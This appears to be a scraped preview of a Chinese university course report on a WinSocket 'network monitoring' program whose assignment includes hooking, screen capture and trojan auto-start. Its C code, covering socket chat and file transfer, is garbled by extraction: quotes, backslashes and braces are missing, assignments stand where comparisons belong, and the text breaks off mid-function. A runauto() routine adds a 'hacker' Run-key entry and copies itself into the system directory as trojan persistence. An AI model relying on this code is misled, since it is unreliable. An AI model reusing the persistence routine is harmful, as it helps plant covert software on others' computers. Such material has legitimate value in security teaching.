




已阅读5页,还剩22页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
燕山大学网 络 安 全课 程 设 计 说 明 书题目:基于WinSocket的网络监控软件的设计与实现 学院(系): 信息科学与工程学院 年级专业: 09信息安全1班 学 号: 090104070017 学生姓名: 高云蛟 指导教师: 王新生 教师职称: 教授 燕山大学课程设计(论文)任务书院(系):信息科学于工程学院 基层教学单位:计算机系 学 号090104070017学生姓名高云蛟专业(班级)信息安全09设计题目基于WinSocket的网络监控软件的设计与实现设计技术参数本课程设计设计如下功能模块:1、 Socket数据传输2、 文件传输; 2、屏幕截取5、 利用Hook技术对消息进行拦截; 6、 消息的记录与传输7、 消息的回放8、 服务器端木马程序的自动启动。设计要求1、 实现的功能模块不能少于三个;2、 程序设计语言可以选择C语言均可;3、 程序要能够正确运行 ;4、 完成课程设计报告的撰写。工作计划第一周、深入学习Socket通信模型,注册表的原理,完成系统的框架设计第二周、实现文件传输、消息的传输、程序自启动第三周 功能模块的调试、课程设计报告的撰写参考资料网络渗透技术网络安全Windows程序设计Windows网络通信程序设计指导教师签字基层教学单位主任签字说明:此表一式四份,学生、指导教师、基层教学单位、系部各一份。年 月 日 燕山大学课程设计评审意见表指导教师评语:成绩: 指导教师: 年 月 日答辩小组评语:成绩: 评阅人: 年 月 日课程设计总成绩:答辩小组成员签字:年 月 日一、实验目的了解winsocket的基本功能,掌握winsock的基本用法,实现socket数据传输、文件的传输、消息的传递、注册表实现程序的自启动。二、实验环境Microsoft Window XP操作系统下,VC6.0环境下代码的编写与实现。三、实验原理WinSocket是处理网络的Windows API .。通信双方要建立连接,这个连接的终端就是套接字(Socket)。客户端和服务器端都有一个套接字,每个套接字都与特定的IP地址和端口号关联。几乎所有的WinSocket函数都在套接字上进行操作,因为套接字是到连接的句柄。连接的两端都要使用一个套接字,它们与平台无关。套接字是双通的,也就是说在一个套接字上既能够接受也能发送数据。winsock的编程模型,都采用客户机和服务器的编程模型。服务器创建套接字,调用socket函数(当然已经进行了版本的协商,这个过程主要是完成网络协议的声明)。将本地的地址绑定到所建的套接字上以使在网络上标示该套接字,使用bind函数完成(这个阶段是完成套接字的绑定,制定网络的ip地址,指定端口号)。将套接字置入监听模式并准备接受连接请求。让套接字进入等待状态。调用accept函数接受用户的(这个阶段的任务是等待接受用户的信息)另外一方面,客户进程调用socket函数创建套接字,通过调用connecti函数建立一个连接,当客户端的连接建立以后,被阻塞的进程accpet函数与客户端建立连接,并向客户返回接受信号。一旦客户机的套接字收到来自服务器的接受信号,则客户机与服务器已实现连接,则可以进行数据传输了。使用recv和send函数进行数据的传输。以上这些都是在为传输数据在铺垫。无论是recv函数还是send函数都必须通过套接字进行数据的传输。最后调用closesocket函数关闭套接字。四、试验程序设计及分析(1)程序说明 文件传输采用分块方式进行,500K分为一块,为了方便编译和运行,主文件就一个,为keshe.cpp文件,其中主函数,分别是:void LongToChar(long x,char a);/将long型整数转换成字符int runauto(); /程序的自启动long StrToLong(char str);/将字符串转换成long型整数void getW_name(char waddr,char wname); /获取文件名函数void sendFile(SOCKET ss); /服务端发送文件函数int receiveFile(SOCKET sc);/客户端接收文件函数void chatting_client(SOCKET sc); /客户端聊天函数void chatting_server(SOCKET s_d); /服务端聊天函数int client(); /客户端主程序void server(); /服务端主程序(2) 相关函数及功能说明 客户端函数client(),主要是响应服务器端的一系列要求,并完成相应的功能,简要源代码如下:int client()system(color 0a);/修改DOS窗口颜色,是其成0A。WORD wVersion=MAKEWORD(1,1); WSADATA wsData; int nResult= WSAStartup(wVersion,&wsData); /启动WINSOCKETif(nResult !=0) printf(启动Winsock失败!n); SOCKET sc=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); /创建套接字if(sc=INVALID_SOCKET) printf(创建套接字失败!n); SOCKADDR_IN addrSc;addrSc.sin_family=AF_INET; addrSc.sin_port=htons(portNum); /保证字节顺序 char IP20;again:printf(请输入服务器的IP地址:);gets(IP);if( -1=inet_addr(IP) ) /循环检测IP地址是否合法printf(IP地址错误!n);goto again;addrSc.sin_addr.S_un.S_addr=inet_addr(IP); int b=0;while(b5) /检测5次,如果服务器在此时间内启动,则进行连接nResult=connect(sc,(SOCKADDR*)&addrSc,sizeof(SOCKADDR); /套接字连接Sleep(DWORD)100);/延时1秒if(nResult=SOCKET_ERROR) printf( %d 次连接失败!n,b+1);elsebreak;b+;if(nResult=SOCKET_ERROR)printf(登陆超时,请重新登陆!n);goto again;char *buf=连接成功!; /向服务端验证连接成功nResult=send(sc,buf,strlen(buf)+1,0); if(nResult=SOCKET_ERROR) printf(5.套接字发送数据失败!n);return 0;char messM;nResult =recv(sc,mess,strlen(mess),0); /接受服务端的连接验证信息if(nResult = -1 ) /判断服务端是否关闭printf(n服务端已断开n);system(pause);exit(0);printf(%sn,mess);tianle:system(cls); /清屏puts(nn);puts( *(客 户 端) * );puts( * * );puts( * * );puts( * 请等待服务端的相应操作 * );puts( * * );puts( * * );puts(全屏(退出全屏)操作请按:ALT+ENTERn);char rMess100;nResult=recv(sc,rMess,strlen(rMess),0); /接收服务端发来的操作请求if(nResult=-1) /判断服务端是否关闭printf(n服务端已断开n);system(pause);goto tianle;printf(%sn,rMess);char ch;char str100;gets(str);ch=str0;while( ch!=Y & ch!=y & ch!=N & ch!=n ) /处理客户端的错误输入printf(输入有误,请重新输入(Y/N):);gets(str);ch=str0;send(sc,&ch,sizeof(char),0); /向服务端反馈选择,并执行相应操作if(strcmp(rMess,服务端向你传送文件,是否接受(Y/N):)=0 & (ch=Y | ch=y) )receiveFile(sc);if(strcmp(rMess,服务端向你发起聊天,是否接受(Y/N):)=0 & (ch=Y | ch=y) )chatting_client(sc);if(ch=N | ch=n)printf(你拒绝了!n);system(pause);system(cls);goto tianle;nResult=closesocket(sc); /关闭套接字if(nResult=SOCKET_ERROR) printf(8.关闭套接字失败!n);return 0; 服务器端函数server(),主要实现socket通信服务器端的功能选择,选择作为服务器端后,进入功能选择页面,输入1-3进行功能选择,一共有三项功能可以选择,简单源代码参考如下:void server()system(color 0a);/修改DOS窗口颜色为0AWORD wVersion=MAKEWORD(1,1); WSADATA wsData; int nResult= WSAStartup(wVersion,&wsData); /1、启动Winsockif(nResult !=0) printf(启动Winsock失败!n); SOCKET s=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); /2.创建套接字if(s=INVALID_SOCKET) printf(创建套接字失败!n); SOCKADDR_IN addr; addr.sin_family=AF_INET; addr.sin_port=htons(portNum); /保证字节顺序 addr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);nResult=bind(s,(sockaddr*)&addr,sizeof(sockaddr); /3、套接字的绑定if(nResult=SOCKET_ERROR) printf(套接字的绑定失败!n); nResult=listen(s,5); /最多5个连接, 套接字的监听if(nResult=SOCKET_ERROR) printf(套接字的监听(服务器端)失败!n); SOCKADDR_IN addrClient;int len=sizeof(SOCKADDR);printf(n等待客户端的连接);int a=0;while(a5)/开始的一个小动态图形for(int b=0;b=4 | ch =0)/检测用户选择的代码是否符合要求printf(n你的输入有误!请重新输入:);gets(Num);ch=Num0; if(1=ch) /发送文件模块的处理char ch;char *str=服务端向你传送文件,是否接受(Y/N):;send(s_d,str,strlen(str)+1,0);printf(等待客户端回应n);nResult=recv(s_d,&ch,sizeof(char),0);if(nResult = -1 ) /判断客户端是否关闭printf(n客户端已断开n);system(pause);goto again;if( ch=Y | ch=y)sendFile(s_d);goto again;if(ch=N| ch=n)printf(对方拒绝接受!n);system(pause);goto again;if(2=ch)/处理聊天模块char ch;int flag=0;char *str=服务端向你发起聊天,是否接受(Y/N):;send(s_d,str,strlen(str)+1,0);printf(等待客户端回应n);nResult=recv(s_d,&ch,sizeof(char),0); /判断客户端同意或不同意if(nResult = -1 ) /判断客户端是否关闭printf(n客户端已断开n);system(pause);goto again;if( ch=Y | ch=y )chatting_server(s_d);goto again;if(ch=N| ch=n)printf(对方拒绝接受!n);system(pause);goto again;if(3=ch)exit(0); /结束程序nResult=closesocket(s); /关闭套接字。if(nResult=SOCKET_ERROR) printf(8.关闭套接字(服务器端)失败!n); 自启动函数runauto(),此函数的功能是使程序自启动,源代码如下:int runauto() char regname=SoftwareMicrosoftWindowsCurrentVersionRun; HKEY hkResult; int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult); /打开关键字 ret=RegSetValueEx(hkResult,hacker/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)%systemroot%hacker.exe,25); /设置键值 if(ret=0) printf(success to write run keyn); RegCloseKey(hkResult); else printf(failed to open regedit.%dn,ret); return 0; char modlepath256; char syspath256; GetModuleFileName(0,modlepath,256); /取得程序名字 GetSystemDirectory(syspath,256); ret=CopyFile(modlepath,strcat(syspath,hacker.exe),1); if(ret) printf(%s has been copyed to sys dir %sn,modlepath,syspath); else printf(%s is exisis,modlepath); return 0; 还有其他一些函数为了实现相关功能,部分函数功能简介和代码如下:服务端发送文件函数void sendFile(SOCKET ss)char *str1=.确认成功.;send(ss,str1,strlen(str1)+1,0);/向客户端发送验证信息FILE *fp;long i;/文件分的的块数char fileAddr300; /此数组用于存储文件地址char fileName100; /此数组用于存储文件名字dmm:printf(请输入要传送的文件绝对地址(含文件名):);gets(fileAddr);if( (fp=fopen(fileAddr,rb) = NULL) /打开文件printf(文件地址输入错误!n);goto dmm;getW_name(fileAddr,fileName); /获取文件名send(ss,fileName,strlen(fileName)+1,0); /发送文件名fseek(fp,0L,2);long fileLength=ftell(fp);/取得文件的长度fseek(fp,0L,0);char Length100;LongToChar(fileLength,Length);send(ss,Length,strlen(Length)+1,0);/发送文件大小到客户端if( 0 = fileLength%M )/对文件进行分块i=fileLength/M;elsei=fileLength/M+1;char messM;long readLength;/文件读取的长度long sendLength;/发送文件的长度int k=1;/正在传送的模块号char *temp=开始接收文件;/向客户端开始传送,确认同步开始int nResult;nResult=recv(ss,mess,M,0);if(nResult = -1 ) /判断客户端是否关闭printf(n客户端已断开n);system(pause);return ;send(ss,temp,strlen(temp)+1,0);printf(%s,共 %ld 模块:n,mess,i);long total=0;while( k = i )Sleep(DWORD)800);/此非常重要,降低了传输时间,保证了两边的同步readLength=fread(mess,sizeof(char),M,fp);sendLength=send(ss,mess,readLength,0);total+=sendLength;printf(r第 %d 模块 读取:%ldB 发送:%ldB,k,readLength,sendLength);printf( 进度: %2.2f%c 模块:%ld / %ld,100*(total*1.0/fileLength),37,k,i);if(sendLength=SOCKET_ERROR) printf(失败!);k+;fclose(fp);printf(n文件发送完成!n);system(pause);客户端接收文件函数int receiveFile(SOCKET sc)system(color 0a);int nResult;char messM;nResult=recv(sc,mess,strlen(mess),0); /确认文件传送模块连接成功if(nResult = -1 ) /判断服务端是否关闭printf(n服务端已断开n);system(pause);return 0;printf(%sn,mess);char fileName50;nResult=recv(sc,fileName,50,0); /接收文件名if(nResult = -1 ) /判断服务端是否关闭printf(n服务端已断开n);system(pause);return 0;nResult=recv(sc,mess,M,0); /接受文件的大小if(nResult = -1 ) /判断服务端是否关闭printf(n服务端已断开n);system(pause);return 0;long fileLength=StrToLong(mess); /取的待传送文件的长度long i; /存放文件块数if( 0 = fileLength%M )/对文件按N单位进行分块i=fileLength/M;elsei=fileLength/M+1;FILE *fp;/打开文件int k=1; /当前正在接收文件的块数long receiveLength;/接收文件的长度long writeLength;/已写到文件的字符长度fp=fopen(fileName,wb);char *temp=开始传送文件;send(sc,temp,strlen(temp)+1,0);/向客户端开始传送,确认同步开始nResult=recv(sc,mess,M,0);/接收服务端的确认消息if(nResult = -1 ) /判断服务端是否关闭printf(n服务端已断开n);system(pause);return 0;printf(%s,共 %ld 模块:n,mess,i);long total=0;/已接收文件的长度while(ktm_hour,local-tm_min,local-tm_sec,RMess);printf(n请输入信息:); /客户端用户输入消息gets(SMess);if(strcmp(SMess,exit)=0)send(sc,SMess,strlen(SMess)+1,0);printf(你已退出聊天程序!n);system(pause);break;/服务端显示自己的消息t=time(NULL); local=localtime(&t); printf(r%st%d:%d:%d n %sn,CName,local-tm_hour,local-tm_min,local-tm_sec,SMess);send(sc,SMess,strlen(SMess)+1,0);服务端聊天函数void chatting_server(SOCKET s_d)system(color 0a);char *str1=你同意了;send(s_d,str1,strlen(str1)+1,0);int receiveLength;/接收消息的长度char SMess1000;/发送消息的缓存char RMess1000;/接收消息的缓存char SName200;/服务端用户的姓名char CName200;/客户端用户的姓名receiveLength=recv(s_d,CName,200,0);if(receiveLength=-1) /判断客户端是否关闭printf(客户端已断开n);system(pause);return ;printf(你已和%s取的连接n,CName);printf(请输入你的名字:);gets(SName);while(strlen(SName)=0)/循环检测用户名是否合法printf(用户名不能为空! 请输入你的名字:n);getchar();gets(SName);send(s_d,SName,strlen(SName)+1,0);/向客户端发送姓名pri
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 高空作业施工安全知识培训课件
- 北京实操仿真考试题库及答案
- Umbralisib-hydrochloride-Standard-生命科学试剂-MCE
- 北京安全c证考试试题及答案
- 北大计算能力考试题库及答案
- 山东编导考试题目及答案
- 街道社工考试题及答案
- 高校消防知识培训课件
- 保安员考试00题题库及答案
- 蚌埠二中考试试卷真题及答案
- 变更风险识别、评估记录表参考模板范本
- 五年级语文阅读理解十篇(含答案)
- DB45T2053-2019 重质碳酸钙单位产品能源消耗限额
- 焊研威达埋弧焊机小车A系列说明书
- 静脉血栓栓塞症抗凝治疗微循环血栓防治专家共识
- 有机热载体锅炉安装工程施工方案完整
- 常规保养双人作业流程新模板汇总
- 处方点评与案例分析
- 数字化管道综述
- 英语研究性课题生活中的英语
- 发动机零部件英语词汇
评论
0/150
提交评论